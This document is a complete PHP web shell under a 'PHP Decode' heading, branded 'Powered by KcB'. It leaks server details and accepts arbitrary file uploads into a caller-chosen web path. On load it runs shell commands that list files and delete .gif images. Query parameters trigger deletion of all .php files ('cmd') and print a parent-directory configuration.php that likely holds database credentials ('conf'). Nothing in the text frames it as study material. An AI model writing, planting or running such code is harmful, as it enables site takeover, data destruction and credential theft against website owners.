PHP Decode

error_reporting(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
echo "<title>+[ Powered by KcB ]+</title>";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "4,1ON(BuSuX)";
}
else {$safemode = false; $hsafemode = "OFF(WoKeH)";}
$os = wordwrap(php_uname(),90,"<br>",1);
$xos = "Safe-mode:[SAFE MODE: ".$hsafemode."]7[INFO: ".$os."]";
echo "<center> ".$xos." </center><br>";

if (!empty($_FILES)) {
	$tempFile = $_FILES['Fileupload']['tmp_name'];
	$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['kemana'] . '/';
	$targetFile =  str_replace('//','/',$targetPath) . $_FILES['Fileupload']['name'];
		move_uploaded_file($tempFile,$targetFile);
		echo "1";
}

echo "<pre><font size=3 color=#000000>".shell_exec('echo KcB#`pwd`#KcB; ls -lia; rm -vf *.gif')."</font></pre>";
if(isset($_GET['cmd'])){
echo "<pre><font size=3 color=#000000>".shell_exec('rm -f *.php')."</font></pre>";
}

if(isset($_GET['conf'])){
$conf = file_get_contents("../../configuration.php");
echo $conf;
}